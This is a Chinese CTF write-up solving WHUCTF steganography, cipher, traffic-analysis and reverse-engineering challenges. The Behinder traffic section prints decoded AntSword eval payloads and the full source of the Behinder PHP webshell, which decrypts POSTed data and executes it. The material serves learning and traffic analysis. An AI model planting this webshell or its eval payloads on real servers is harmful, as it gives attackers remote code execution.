這是做者網絡安全自學教程系列,主要是關於安全工具和實踐操做的在線筆記,特分享出來與博友們學習,但願您喜歡,一塊兒進步。前文分享了Easy_unserialize解題思路,詳細分享文件上傳漏洞、冰蠍蟻劍用法、反序列化phar等。這篇文章將詳細講解WHUCTF隱寫和逆向題目,包括文字解密、圖片解密、佛語解碼、冰蠍流量分析、逆向分析。第一次參加CTF,仍是學到了不少東西。人生路上,要珍惜好每一天與家人陪伴的日子。感謝武漢大學,感謝這些大佬和師傅們(尤爲出題和解題的老師們)~php
做者做爲網絡安全的小白,分享一些自學基礎教程給你們,主要是關於安全工具和實踐操做的在線筆記,但願您們喜歡。同時,更但願您能與我一塊兒操做和進步,後續將深刻學習網絡安全和系統安全知識並分享相關實驗。總之,但願該系列文章對博友有所幫助,寫文不易,大神們不喜勿噴,謝謝!若是文章對您有幫助,將是我創做的最大動力,點贊、評論、私聊都可,一塊兒加油喔~html
文章目錄
PS:本文參考了WHUCTF題目及WP、安全網站和參考文獻中的文章(詳見參考文獻),並結合本身的經驗和實踐進行撰寫,也推薦你們閱讀參考文獻。python
做者的github資源:
軟件安全:https://github.com/eastmountyxz/Software-Security-Course
其餘工具:https://github.com/eastmountyxz/NetworkSecuritySelf-study
CTF案例:https://github.com/eastmountyxz/CTF-Web-WP
jquery
聲明:本人堅定反對利用教學方法進行犯罪的行爲,一切犯罪行爲必將受到嚴懲,綠色網絡須要咱們共同維護,更推薦你們瞭解它們背後的原理,更好地進行防禦。git
前文學習:
[網絡安全自學篇] 一.入門筆記之看雪Web安全學習及異或解密示例
[網絡安全自學篇] 二.Chrome瀏覽器保留密碼功能滲透解析及登陸加密入門筆記
[網絡安全自學篇] 三.Burp Suite工具安裝配置、Proxy基礎用法及暴庫示例
[網絡安全自學篇] 四.實驗吧CTF實戰之WEB滲透和隱寫術解密
[網絡安全自學篇] 五.IDA Pro反彙編工具初識及逆向工程解密實戰
[網絡安全自學篇] 六.OllyDbg動態分析工具基礎用法及Crakeme逆向
[網絡安全自學篇] 七.快手視頻下載之Chrome瀏覽器Network分析及Python爬蟲探討
[網絡安全自學篇] 八.Web漏洞及端口掃描之Nmap、ThreatScan和DirBuster工具
[網絡安全自學篇] 九.社會工程學之基礎概念、IP獲取、IP物理定位、文件屬性
[網絡安全自學篇] 十.論文之基於機器學習算法的主機惡意代碼
[網絡安全自學篇] 十一.虛擬機VMware+Kali安裝入門及Sqlmap基本用法
[網絡安全自學篇] 十二.Wireshark安裝入門及抓取網站用戶名密碼(一)
[網絡安全自學篇] 十三.Wireshark抓包原理(ARP劫持、MAC泛洪)及數據流追蹤和圖像抓取(二)
[網絡安全自學篇] 十四.Python攻防之基礎常識、正則表達式、Web編程和套接字通訊(一)
[網絡安全自學篇] 十五.Python攻防之多線程、C段掃描和數據庫編程(二)
[網絡安全自學篇] 十六.Python攻防之弱口令、自定義字典生成及網站暴庫防禦
[網絡安全自學篇] 十七.Python攻防之構建Web目錄掃描器及ip代理池(四)
[網絡安全自學篇] 十八.XSS跨站腳本攻擊原理及代碼攻防演示(一)
[網絡安全自學篇] 十九.Powershell基礎入門及常見用法(一)
[網絡安全自學篇] 二十.Powershell基礎入門及常見用法(二)
[網絡安全自學篇] 二十一.GeekPwn極客大賽之安全攻防技術總結及ShowTime
[網絡安全自學篇] 二十二.Web滲透之網站信息、域名信息、端口信息、敏感信息及指紋信息收集
[網絡安全自學篇] 二十三.基於機器學習的惡意請求識別及安全領域中的機器學習
[網絡安全自學篇] 二十四.基於機器學習的惡意代碼識別及人工智能中的惡意代碼檢測
[網絡安全自學篇] 二十五.Web安全學習路線及木馬、病毒和防護初探
[網絡安全自學篇] 二十六.Shodan搜索引擎詳解及Python命令行調用
[網絡安全自學篇] 二十七.Sqlmap基礎用法、CTF實戰及請求參數設置(一)
[網絡安全自學篇] 二十八.文件上傳漏洞和Caidao入門及防護原理(一)
[網絡安全自學篇] 二十九.文件上傳漏洞和IIS6.0解析漏洞及防護原理(二)
[網絡安全自學篇] 三十.文件上傳漏洞、編輯器漏洞和IIS高版本漏洞及防護(三)
[網絡安全自學篇] 三十一.文件上傳漏洞之Upload-labs靶場及CTF題目01-10(四)
[網絡安全自學篇] 三十二.文件上傳漏洞之Upload-labs靶場及CTF題目11-20(五)
[網絡安全自學篇] 三十三.文件上傳漏洞之繞狗一句話原理和繞過安全狗(六)
[網絡安全自學篇] 三十四.Windows系統漏洞之5次Shift漏洞啓動計算機
[網絡安全自學篇] 三十五.惡意代碼攻擊溯源及惡意樣本分析
[網絡安全自學篇] 三十六.WinRAR漏洞復現(CVE-2018-20250)及惡意軟件自啓動劫持
[網絡安全自學篇] 三十七.Web滲透提升班之hack the box在線靶場註冊及入門知識(一)
[網絡安全自學篇] 三十八.hack the box滲透之BurpSuite和Hydra密碼爆破及Python加密Post請求(二)
[網絡安全自學篇] 三十九.hack the box滲透之DirBuster掃描路徑及Sqlmap高級注入用法(三)
[網絡安全自學篇] 四十.phpMyAdmin 4.8.1後臺文件包含漏洞復現及詳解(CVE-2018-12613)
[網絡安全自學篇] 四十一.中間人攻擊和ARP欺騙原理詳解及漏洞還原
[網絡安全自學篇] 四十二.DNS欺騙和釣魚網站原理詳解及漏洞還原
[網絡安全自學篇] 四十三.木馬原理詳解、遠程服務器IPC$漏洞及木馬植入實驗
[網絡安全自學篇] 四十四.Windows遠程桌面服務漏洞(CVE-2019-0708)復現及詳解
[網絡安全自學篇] 四十五.病毒詳解及批處理病毒製做(自啓動、修改密碼、定時關機、藍屏、進程關閉)
[網絡安全自學篇] 四十六.微軟證書漏洞CVE-2020-0601 (上)Windows驗證機制及可執行文件簽名復現
[網絡安全自學篇] 四十七.微軟證書漏洞CVE-2020-0601 (下)Windows證書籤名及HTTPS網站劫持
[網絡安全自學篇] 四十八.Cracer第八期——(1)安全術語、Web滲透流程、Windows基礎、註冊表及黑客經常使用DOS命令
[網絡安全自學篇] 四十九.Procmon軟件基本用法及文件進程、註冊表查看
[網絡安全自學篇] 五十.虛擬機基礎之安裝XP系統、文件共享、網絡快照設置及Wireshark抓取BBS密碼
[網絡安全自學篇] 五十一.惡意樣本分析及HGZ木馬控制目標服務器
[網絡安全自學篇] 五十二.Windows漏洞利用之棧溢出原理和棧保護GS機制
[網絡安全自學篇] 五十三.Windows漏洞利用之Metasploit實現棧溢出攻擊及反彈shell
[網絡安全自學篇] 五十四.Windows漏洞利用之基於SEH異常處理機制的棧溢出攻擊及shell提取
[網絡安全自學篇] 五十五.Windows漏洞利用之構建ROP鏈繞過DEP並獲取Shell
[網絡安全自學篇] 五十六.i春秋老師分享小白滲透之路及Web滲透技術總結
[網絡安全自學篇] 五十七.PE文件逆向之什麼是數字簽名及Signtool簽名工具詳解(一)
[網絡安全自學篇] 五十八.Windows漏洞利用之再看CVE-2019-0708及Metasploit反彈shell
[網絡安全自學篇] 五十九.Windows漏洞利用之MS08-067遠程代碼執行漏洞復現及shell深度提權
[網絡安全自學篇] 六十.Cracer第八期——(2)五萬字總結Linux基礎知識和經常使用滲透命令
[網絡安全自學篇] 六十一.PE文件逆向之數字簽名詳細解析及Signcode、PEView、010Editor、Asn1View等工具用法(二)
[網絡安全自學篇] 六十二.PE文件逆向之PE文件解析、PE編輯工具使用和PE結構修改(三)
[網絡安全自學篇] 六十三.hack the box滲透之OpenAdmin題目及蟻劍管理員提權(四)
[網絡安全自學篇] 六十四.Windows漏洞利用之SMBv3服務遠程代碼執行漏洞(CVE-2020-0796)復現及詳解
[網絡安全自學篇] 六十五.Vulnhub靶機滲透之環境搭建及JIS-CTF入門和蟻劍提權示例(一)
[網絡安全自學篇] 六十六.Vulnhub靶機滲透之DC-1提權和Drupal漏洞利用(二)
[網絡安全自學篇] 六十七.WannaCry勒索病毒復現及分析(一)Python利用永恆之藍及Win7勒索加密
[網絡安全自學篇] 六十八.WannaCry勒索病毒復現及分析(二)MS17-010利用及病毒解析
[網絡安全自學篇] 六十九.宏病毒之入門基礎、防護措施、自發郵件及APT28樣本分析
[網絡安全自學篇] 七十.WannaCry勒索病毒復現及分析(三)蠕蟲傳播機制分析及IDA和OD逆向
[網絡安全自學篇] 七十一.深信服分享以外部威脅防禦和勒索病毒對抗
[網絡安全自學篇] 七十二.逆向分析之OllyDbg動態調試工具(一)基礎入門及TraceMe案例分析
[網絡安全自學篇] 七十三.WannaCry勒索病毒復現及分析(四)蠕蟲傳播機制全網源碼詳細解讀
[網絡安全自學篇] 七十四.APT攻擊檢測溯源與常見APT組織的攻擊案例
[網絡安全自學篇] 七十五.Vulnhub靶機滲透之bulldog信息收集和nc反彈shell(三)
[網絡安全自學篇] 七十六.逆向分析之OllyDbg動態調試工具(二)INT3斷點、反調試、硬件斷點與內存斷點
[網絡安全自學篇] 七十七.惡意代碼與APT攻擊中的武器(強推Seak老師)
[網絡安全自學篇] 七十八.XSS跨站腳本攻擊案例分享及總結(二)
[網絡安全自學篇] 七十九.Windows PE病毒原理、分類及感染方式詳解
[網絡安全自學篇] 八十.WHUCTF之WEB類解題思路WP(代碼審計、文件包含、過濾繞過、SQL注入)
[網絡安全自學篇] 八十一.WHUCTF之WEB類解題思路WP(文件上傳漏洞、冰蠍蟻劍、反序列化phar)
github
前文欣賞:
[滲透&攻防] 一.從數據庫原理學習網絡攻防及防止SQL注入
[滲透&攻防] 二.SQL MAP工具從零解讀數據庫及基礎用法
[滲透&攻防] 三.數據庫之差別備份及Caidao利器
[滲透&攻防] 四.詳解MySQL數據庫攻防及Fiddler神器分析數據包
正則表達式
一.Misc-版權保護
1.題目描述
該題目解壓以後包括兩個文件,題目描述爲「小p發現本身的文章被別人複製粘貼了,感到很氣憤,因而他偷偷地將flag藏到了文章中,你能找到flag嗎? 格式 whuctf{}」。算法
打開內容以下,由不少「我最帥」組成。這該如何獲取Flag呢?shell
2.解題思路
查看「題目.txt」看到不少重複的「我最帥」,結合題目版權保護猜想其主要考察 —— 寬字節隱寫,其中零寬度字符用來做爲一種水印參考ga1axy大佬的文章。數據庫
(1) 咱們經過CyberChef顯示文字Unicode編碼內容。
CyberChef是一個簡單、直觀的Web應用程序,用於在Web瀏覽器中執行各類網絡操做。這些操做包括簡單的編碼(如XOR或Base64)、更復雜的加密(如AES、DES和Blowfish)、建立二進制文件和hexdump、數據的壓縮和解壓縮、計算散列和校驗和、IPv6和X.509解析、更改字符編碼等。GitHub連接:https://github.com/gchq/CyberChef
打開CyberChef主頁顯示以下圖所示,好比對「Hello」進行MD5加密。
一般零寬度字符在通常的文本編輯器中是不可見的,好比:Hello,咱們用CyberChef查看一下便可發現其中的奧祕。
(2) 若是咱們直接用kali vim打開也能夠看到隱藏的信息,而且值字與字之間相隔8個字符,且僅有 <200d> 和 <200c> 形式。在寬字節隱寫下,\u200d表明0 ,\u200c表明1,它是否是能轉換成二進制呢?
能夠看到裏面只有 <200d> 和 <200c> 這兩種零寬度字符,稍微調整一下界面以下圖所示:
(3) 編寫Python腳本提取「我最帥」中的內容。若是遇到「\u200d」則顯示0,遇到「\u200c」則顯示1,並將結果內容看成比特串轉換爲ascii後顯示。
#coding=utf8 import binascii f = open('題目.txt','r',encoding='utf8') lines = f.readline() f.close() #轉換爲二進制0和1 i = 0 content = '' for x in lines: if x == '\u200d': content += '0' elif x == '\u200c': content += '1' #i=i+1 print("輸出二進制:") print(content) #-------------------------------------------------------------------------------------- #base = [0, 1, 2, 3, 4, 5, 6, 7, 8, 9, a, b, c, d, e, f] base = [str(x) for x in range(10)] + [ chr(x) for x in range(ord('a'),ord('a')+6)] #print(base) #二進制 to 十進制: int(str,n=10) def bin2dec(string_num): return str(int(string_num, 2)) #十進制 to 十六進制: hex() def dec2hex(string_num): num = int(string_num) mid = [] if num == 0: return '0' while True: if num == 0: break num,rem = divmod(num, 16) mid.append(base[rem]) return ''.join([str(x) for x in mid[::-1]]) #二進制 to 十六進制: hex(int(str,2)) def bin2hex(string_num): return dec2hex(bin2dec(string_num)) #-------------------------------------------------------------------------------------- #轉換爲十六進制 k = 0 result = '' num = '' while k < len(content): if k!=0 and (k+1) % 4 == 0: num += content[k] result += bin2hex(num) #二進制轉十六進制 #print(num) #print(bin2hex(num),'\n') num = '' else: num += content[k] k += 1 print("\n輸出十六進制:") print(result) #提取flag result = result + '0' flag = binascii.unhexlify(result) print("\n輸出flag:") print(flag)
輸出結果以下圖所示,whuctf結果爲{Y0u_kn0w_h0w_t0_pr0tect111}。
同時,咱們能夠經過在線網站將0和1二進制直接轉換爲十六進制,而後調用binascii.unhexlify函數便可獲取flag。
補充其餘師傅的Python腳本方法:
with open( '題目.txt', 'rb') as f: str = f.read() print(str) length = len(str) i = 0 s = 0 sum = 0 while i < length: if (int(str[i]) == 226 and int(str[i+1]) == 128 and int(str[i+2]) == 141): sum = sum*2 s = s+1 if s % 8 == 0: print(chr(sum), end='') sum = 0 if (int(str[i]) == 226 and int(str[i+1]) == 128 and int(str[i+2]) == 140): sum = sum*2 sum = sum+1 s = s+1 if s % 8 == 0: print(chr(sum), end='') sum = 0 i = i+3
最後補充武大CTF師傅的WP代碼和參考文獻,確實跟他們學到不少,推薦你們學習。
- 武漢大學CTF - PeiQi師傅
- 2020_WHUCTF_Writeup - Ly-sec-l師傅
- http://www.ga1axy.top/index.php/archives/36/#版權保護 - ga1axy師傅
- whuctf.md - prontosil師傅
- https://github.com/eastmountyxz/CTF-RE
二.Misc-過早了嗎
1.題目描述
該題目提供的是一張早餐圖片「yummy.jpeg」,同時提示信息爲「一日之計在於晨,你過早了嗎? 這是個人早餐,有我喜歡的食物,有你喜歡的flag」。
看到這個題確定想到是圖片隱寫,圖片打開以下圖所示,建議讀者去我Github連接下載。
2.解題思路
以前作過圖片隱寫的CTF題目,個人第一想法就是可否用Stegsolve工具獲取二維碼,而後掃描提取flag,以下圖所示。哈哈,仍是本身太菜了,想得太簡單了~
但這道題目,並無反映。
真正的解決方法是經過另外一個工具steghide解出隱藏的內容。
Steghide是一款開源的隱寫術軟件,它可讓你在一張圖片或者音頻文件中隱藏你的祕密信息,並且你不會注意到圖片或音頻文件發生了任何的改變。Steghide是一個命令行軟件,其安裝語句爲「apt-get install steghide」,你們在第一次使用時能夠調用steghide --help查看幫助信息。
第一步,在Linux系統中安裝steghide。
sudo apt-get install steghide
第二步,在steghide中輸入以下命令獲取信息。
經過steghide提取出c.txt,以下所示。
yxz@DESKTOP-KUPRQ86:~$ steghide extract -sf yummy.jpeg Enter passphrase: wrote extracted data to "c.txt". yxz@DESKTOP-KUPRQ86:~$
打開c.txt文件以下:
ABAAABAABBABAAABAABAABAAAABBAAABBBBABBBABAAABBAABBAAAAAABBABBAABBBAABBABBBAAABAAAAAAABAABBAAAABBAAABAABAAAAAAAABABAAABABAAAAABAABABAABB
第三步,僅有A和B組成,這是培根(Bacon)密碼,而後對其進行解密。
- 推薦文章:培根密碼——python解密
培根密碼實際上就是一種替換密碼,根據所給表一一對應轉換便可加密解密 。
咱們經過在線解密網址進行解密,網址爲:https://tool.bugku.com/peigen/
最終的flag值爲:whuctf{ITISIMPORTANTTOEATBREAKFAST}
第四步,補充知識。
若是咱們想在「mm.jpg」圖片中隱藏一段密碼。
密碼爲「secret.txt」中的內容「CSDN eastmount」,以下圖所示:
使用以下命令便可實現:
steghide embed -cf [圖片文件載體] -ef [待隱藏文件] steghide embed -cf mm.jpg -ef secret.txt
此時咱們用Notepad++等軟件時候看不到隱藏信息的,若是想查看,則要輸入以下命令:
steghide info mm.jpg
爲了便於區分,咱們將隱藏信息後的圖片移動到另外一個文件夾內解壓,而後獲取加密的文件,使用命令以下:
steghide extract -sf mm.jpg
最終提取「secret.txt」文件並獲取密碼「CSDN eastmount」。
是否是很是有意思,O(∩_∩)O
參考及推薦文章:
- WHUCTF官方WP
- http://www.ga1axy.top/index.php/archives/36/#過早了嗎 - ga1axy師傅
- [安全工具] Steghide:Linux下流行的命令行隱寫工具 - 鸞林居士
三.Misc-佛系青年BingGe
1.題目描述
該題目提供的是一段描述,我看見個人朋友BingGe坐在信部網球場的柵欄邊上看一本佛經,我很好奇,也過去看,只見上面寫着:
佛曰:般羅穆僧冥神大侄所隸奢尼哆恐侄大藐若故曳咒室吶阿竟諳他缽悉爍諦哆咒豆苦缽尼帝所冥等上哆瑟俱薩諸諳伊冥特諳實怯他罰不參亦皤有婆僧藝俱羯怯至皤滅知真哆訶亦能怯瑟梵陀奢知呼故梵夢死有皤能薩曰俱穆勝竟怯明奢參世缽佛皤羯瑟奢孕梵逝楞吶醯故奢想謹提諦盡侄阿哆利俱吉罰老謹涅神能皤集實輸奢薩奢數哆波者俱勝俱所遠盡吶倒利闍盧諦罰薩梵曰度提大諦哆穆輸醯怯參侄諸娑梵伽知勝穆伊顛冥參道冥有
看到這個題知道是考察文字解密,好比以前分享過「王」字解密,那麼這道題怎麼作呢?
2.解題思路
在CTF Crypto中,解碼佛語是常見題型。
第一步,咱們經過在線網站解密佛語。
在網站中輸入內容並點擊「參悟佛所言的真意」,解碼獲取數據爲:
767566536773bf1ef643676363676784e1d015847635575637560ff4f41d
注意:這裏佛語前邊要(中文冒號)加上「佛曰:」 或者 「如是我聞:」。同理,若是咱們須要對字符串進行加密,如「flag{eastmount}」,則點擊「聽佛說宇宙的真諦」便可。
第二步,題目提醒「柵欄邊上」,因而聯想柵欄密碼,屢次嘗試柵欄解密+hex to ascii,發現爲6時能獲得flag。
柵欄密碼是一種置換密碼。例如密文:TEOGSDYUTAENNHLNETAMSHVAED
解密過程:先將密文分爲兩行
T E O G S D Y U T A E N N
H L N E T A M S H V A E D
再按上下上下的順序組合成一句話:THE LONGEST DAY MUST HAVE AN END
經過在線網站解密獲得結果:
7768756374667b6e305f315f616d5f6e30745f615f36756464683173747d
第三步,進行16進制解密獲取flag。
import binascii num = '7768756374667b6e305f315f616d5f6e30745f615f36756464683173747d' flag = binascii.unhexlify(num) print(flag) #'whuctf{n0_1_am_n0t_a_6uddh1st}'
參考及推薦文章:
四.Misc-shellOfAwd
1.題目描述
該題目提供的是一個pca文件,須要對其進行解密。
文件名稱爲「shellofAWD.pcapng」。
2.解題思路
因爲以前沒作過相似的題目,該題只能參考各位師傅的WP,固然pca文件我用Wireshark導出過。
出題思路
該題的考點是冰蠍的加密流量分析,它模擬了與Webshell交互的過程,給了一個流量包並用Wireshark分析。其出題思路爲:在虛擬機中開一個Web服務,將蟻劍的base64馬拖進去,經過蟻劍的立刻傳一個冰蠍的馬,執行 ln -s /flag jquery.min.js,這樣 jquery.min.js 就指向了 flag,讀它就獲得最終的flag。
下面解題參考師傅們的文章:
第一步,Wireshark軟件打開「shellofAWD.pcapng」文件。
打開流量包,過濾http能夠發現兩條pass=xxx的流量,這是冰蠍流量的特徵。
第二步,任選其中一條,追蹤TCP流,在流中能夠看到有兩個返回的長度爲16的字符串,這是冰蠍流量的解密密鑰。
冰蠍流量的解密密鑰:
- 第一次請求密鑰:6d3246615ba4446d
- 第二次請求密鑰:91ee1bfc4fd27c90
追蹤一下TCP也看到了一個密鑰協商的階段,以下圖所示,密鑰協商(木馬特徵)的兩個步驟以下。
- (1) 攻擊者經過 GET 或者 POST 方法,形如 http://127.0.0.1/shell.aspx?pass=645 的請求服務器密鑰。
- (2) 服務器使用隨機數 MD5 的高16位做爲密鑰,存儲到會話的 $_SESSION 變量中,並返回密鑰給攻擊者。
咱們在翻看TCP流的時候能夠看到在第五流以前都是蟻劍的base64加密流量,從5開始爲冰蠍的加密流量(上圖右下角流爲5),且密鑰爲91ee1bfc4fd27c90。
第三步,經過在線網站行流量解密,解密流程是 AES解密–>base64解密—>原始數據。
咱們須要知道的是冰蠍一般採用AES加密,能夠參考:
選中一段流量進行AES在線解密。
輸出結果爲解密後的信息,以下圖所示:
獲得base64加密的字符串,再次解密,能夠看到這段解密結果爲文件名稱。
一樣,咱們能夠嘗試Python解密流量。下面請求表示:ant參數會執行 _0x6aa401ad3c537 變量內容,該參數此處執行了查看文件路徑以及系統信息的命令。
>>> import base64 >>> s='ZXZhbChiYXNlNjRfZGVjb2RlKCRfUE9TVFtfMHg2YWE0MDFhZDNjNTM3XSkpO2RpZSgpOw==' >>> base64.b64decode(s) 'eval(base64_decode($_POST[_0x6aa401ad3c537]));die();' >>> t='QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwgIjAiKTtAc2V0X3RpbWVfbGltaXQoMCk7ZnVuY3Rpb24gYXNlbmMoJG91dCl7cmV0dXJuICRvdXQ7fTtmdW5jdGlvbiBhc291dHB1dCgpeyRvdXRwdXQ9b2JfZ2V0X2NvbnRlbnRzKCk7b2JfZW5kX2NsZWFuKCk7ZWNobyAiMmUwZWJlYTU1OTIiO2VjaG8gQGFzZW5jKCRvdXRwdXQpO2VjaG8gIjYyZTgwMGEwIjt9b2Jfc3RhcnQoKTt0cnl7JEQ9ZGlybmFtZSgkX1NFUlZFUlsiU0NSSVBUX0ZJTEVOQU1FIl0pO2lmKCREPT0iIikkRD1kaXJuYW1lKCRfU0VSVkVSWyJQQVRIX1RSQU5TTEFURUQiXSk7JFI9InskRH0JIjtpZihzdWJzdHIoJEQsMCwxKSE9Ii8iKXtmb3JlYWNoKHJhbmdlKCJDIiwiWiIpYXMgJEwpaWYoaXNfZGlyKCJ7JEx9OiIpKSRSLj0ieyRMfToiO31lbHNleyRSLj0iLyI7fSRSLj0iCSI7JHU9KGZ1bmN0aW9uX2V4aXN0cygicG9zaXhfZ2V0ZWdpZCIpKT9AcG9zaXhfZ2V0cHd1aWQoQHBvc2l4X2dldGV1aWQoKSk6IiI7JHM9KCR1KT8kdVsibmFtZSJdOkBnZXRfY3VycmVudF91c2VyKCk7JFIuPXBocF91bmFtZSgpOyRSLj0iCXskc30iO2VjaG8gJFI7O31jYXRjaChFeGNlcHRpb24gJGUpe2VjaG8gIkVSUk9SOi8vIi4kZS0%2BZ2V0TWVzc2FnZSgpO307YXNvdXRwdXQoKTtkaWUoKTs=' >>> base64.b64decode(t) '@ini_set("display_errors", "0");@set_time_limit(0);function asenc($out){return $out;};function asoutput(){$output=ob_get_contents();ob_end_clean();echo "2e0ebea5592";echo @asenc($output);echo "62e800a0";}ob_start();try{$D=dirname($_SERVER["SCRIPT_FILENAME"]);if($D=="")$D=dirname($_SERVER["PATH_TRANSLATED"]);$R="{$D}\t";if(substr($D,0,1)!="/"){foreach(range("C","Z")as $L)if(is_dir("{$L}:"))$R.="{$L}:";}else{$R.="/";}$R.="\t";$u=(function_exists("posix_getegid"))?@posix_getpwuid(@posix_geteuid()):"";$s=($u)?$u["name"]:@get_current_user();$R.=php_uname();$R.="\t{$s}";echo $R;;}catch(Exception $e){echo "ERROR://".$e-6\x05\x9d\x95\xd15\x95\xcd\xcd\x85\x9d\x94\xa0\xa4\xed\xf4\xed\x85\xcd\xbd\xd5\xd1\xc1\xd5\xd0\xa0\xa4\xed\x91\xa5\x94\xa0\xa4\xec'
第四步,最終依次解密流量,得到最終flag值。
5U+SIO3pbt0CXFm7gLAx3xT7q0qDPFaCK8lNevS6Nrmak6Hhj9PXx3ZlGnMIgkqnqHmf6ba5VvtRMgJP6wUtoMXx5WeYJvobewjKDmZ8sSUCZJhKzzkX2ISKKy/snPv+6UOh5rBo6j/JvFGUOUjkKCbCe+nEGD9EKyv10Uu9KHU=
解密過程以下:
<?php //$flag = "whuctf{cd768eac-0746-4979-a40d-5b6a269c4dde}" ?>
同時,做者補充冰蠍的一句話木馬,其實也能夠從流量中解密出來。後面做者會詳細講解一篇它的用法及原理,也推薦你們仔細閱讀先知社區的那篇文章 紅藍對抗——加密Webshell「冰蠍」攻防。
<?php @error_reporting(0); session_start(); if (isset($_GET['shell'])) { $key=substr(md5(uniqid(rand())),16); $_SESSION['k']=$key; print $key; } else { $key=$_SESSION['k']; $post=file_get_contents("php://input"); if(!extension_loaded('openssl')) { $t="base64_"."decode"; $post=$t($post.""); for($i=0;$i<strlen($post);$i++) { $post[$i] = $post[$i]^$key[$i+1&15]; } } else { $post=openssl_decrypt($post, "AES128", $key); } $arr=explode('|',$post); $func=$arr[0]; $params=$arr[1]; class C{public function __construct($p) {eval($p."");}} @new C($params); } ?>
五.Misc-wechat_game
1.題目描述
該題目提供的是一個minigame-1.7z文件,須要從中獲取flag。
文件解壓以後以下圖所示:
看到遊戲咱們就可能比較蒙,但咱們先審查文件看看有什麼蹊蹺沒有。
2.解題思路
第一步,咱們在審覈文件是,發現txt文件夾下的「game12345.txt」文件問題,它的時間和其餘的不太同樣喔!
也就是說做者編譯程序以後才加的flag,注意時間是何時,比賽快開始的時候,那flag確定在裏面。打開該文件顯示以下圖所示:
第二步,分析「game12345.txt」文件發現漢字是逆序的,那麼是否能直接搜索flag呢?
順序格式:whuctf{}
逆序格式:}{ftcuhw
搜索ftcuhw顯示結果以下,flag值爲:whuctf{wechat_g4m1}。
另外一種解題方法是這樣的,咱們使用微信開發者程序中打開該工程。模擬運行後,程序入口爲main.js。接着分析main.js,找到了分數變化的函數。
子彈擊中後會將分數加1。根據題目提示,改成每次加10000,再次編譯運行,結束後獲得flag。
最後補充武大CTF師傅的WP代碼和參考文獻,推薦你們學習。
六.RE1
1.題目描述
接下來是逆向分析的題目,給出的是WHURE1.exe程序。
運行結果以下圖所示:
2.解題思路
逆向分析推薦你們動靜態結合分析,這裏我採用OD(動態)和IDA(靜態)結合。
第一步,經過OD打開EXE程序顯示以下所示。
第二步,在反彙編窗口右鍵鼠標,選擇「查找」->「全部參考文本字串」。
咱們看到了目標「gj, the flag is WHUCTF{%s}」。
第三步,選中該行內容,右鍵選擇「反彙編窗口中跟隨」。
接着定位到以下圖所示位置,其中CALL WHURE1.003A1020爲調用函數(003A1171),咱們能夠按下F2設置斷點進行動態調式。
也能夠將003A1176位置設置爲新的EIP。
而後按下F7單步進入調試,下圖展現了OD調試的過程。
第四步,用IDA打開EXE程序。
按下F5能夠查看源代碼。
第五步,找到「WHUCTF」字符串的位置,而後查看對應的源代碼,即sub_401090()函數,接下來分析該源代碼推斷輸出flag的狀況。
對應的源代碼爲sub_401090()函數,以下圖所示。
源代碼爲:
int sub_401090() { char v0; // ST1C_1 char v1; // ST18_1 char v2; // ST14_1 char v3; // ST10_1 char v4; // ST0C_1 unsigned int v5; // ecx char v6; // dl signed int v7; // edx __int64 *v8; // ecx __int64 v10; // [esp+0h] [ebp-30h] __int64 v11; // [esp+8h] [ebp-28h] __int64 v12; // [esp+10h] [ebp-20h] int v13; // [esp+18h] [ebp-18h] int v14; // [esp+1Ch] [ebp-14h] int v15; // [esp+20h] [ebp-10h] __int64 v16; // [esp+24h] [ebp-Ch] v13 = 0; v10 = 0i64; v11 = 0i64; v12 = 0i64; v14 = 9; v15 = 2; v16 = 0i64; ((void (__cdecl *)(const char *, char))sub_401020)( " __ \n", 0); ((void (__cdecl *)(const char *, char))sub_401020)( " _ _ _ _ _ _ _ _ _____ _____ _____ _____ _____| |\n", v0); ((void (__cdecl *)(const char *, char))sub_401020)( "| | | |___| |___ ___ _____ ___ | |_ ___ | | | | | | | | |_ _| __| |\n", v1); ((void (__cdecl *)(const char *, char))sub_401020)( "| | | | -_| | _| . | | -_| | _| . | | | | | | | | --| | | | __|__|\n", v2); ((void (__cdecl *)(const char *, char))sub_401020)( "|_____|___|_|___|___|_|_|_|___| |_| |___| |_____|__|__|_____|_____| |_| |__| |__|\n", v3); ((void (__cdecl *)(const char *, char))sub_401020)("plz input your serial number\n", v4); sub_401050("%7s", (unsigned int)&v16); v5 = 0; do { v6 = *((_BYTE *)&v16 + v5); if ( (unsigned __int8)(v6 - 48) > 9u ) { sub_401020("error input !\n"); exit(0); } *((_DWORD *)&v10 + v5++) = v6 - 48; } while ( v5 < 7 ); if ( (_DWORD)v12 != 5 ) { LABEL_10: sub_401020("wrong,check your input\n"); exit(0); } v7 = 0; v8 = &v11; do { if ( *(_DWORD *)v8 + *((_DWORD *)v8 - 1) + *((_DWORD *)v8 - 2) != 15 || *(&v13 + v7) + *((_DWORD *)&v11 + v7 + 1) + *((_DWORD *)&v10 + v7) != 15 ) { goto LABEL_10; } ++v7; v8 = (__int64 *)((char *)v8 + 12); } while ( v7 < 3 ); sub_401020("gj, the flag is WHUCTF{%s}\n", (unsigned int)&v16); return 0; }
第六步,分析源代碼。
(1) 輸入爲一個7字節的字符串。
(2) 輸入大於48(數字0)。
(3) 第5個數字要爲5。
(4) 進行三輪判斷。
d3 + d2 + d1 =15 d7 + d4 + d1 =15 d6 + d5 + d4 =15 d8 + d5 + d2 =15 d9 + d8 + d7 =15 d9 + d6 + d3 =15
撰寫的Python腳本以下所示,其中di表示第i個字節,動態調試發現d8=9 d9=2 。因此能夠進行枚舉,代碼以下。
for d1 in range(5,10): d2=1 d3=14-d1 d4=11-d1 d5=5 d6=d1-1 d7=4 print(d1,d2,d3,d4,d5,d6,d7)
輸出結果以下圖所示,但題目提示「無重複數字」,故結果爲「8163574」。
總結:3*3數獨,知足行列和等於15,以及無重複數字便可。動態調試能夠較快的分析清對輸入變量的約束條件。
參考即推薦文獻:
七.總結
寫到這裏,這篇文章就介紹完畢,但願對您有所幫助。學安全近一年,認識了不少安全大佬和朋友,但願你們一塊兒進步。這篇文章中若是存在一些不足,還請海涵。做者做爲網絡安全初學者的慢慢成長路吧!但願將來能更透徹撰寫相關文章。同時很是感謝參考文獻中的安全大佬們的文章分享,感謝師傅、師兄師弟、師姐師妹們的教導,深知本身很菜,得努力前行。最後仍是那句話,人生路上,好好享受陪伴家人的日子,那纔是最幸福的事情,愛你~
歡迎你們討論,是否以爲這系列文章幫助到您!任何建議均可以評論告知讀者,共勉。
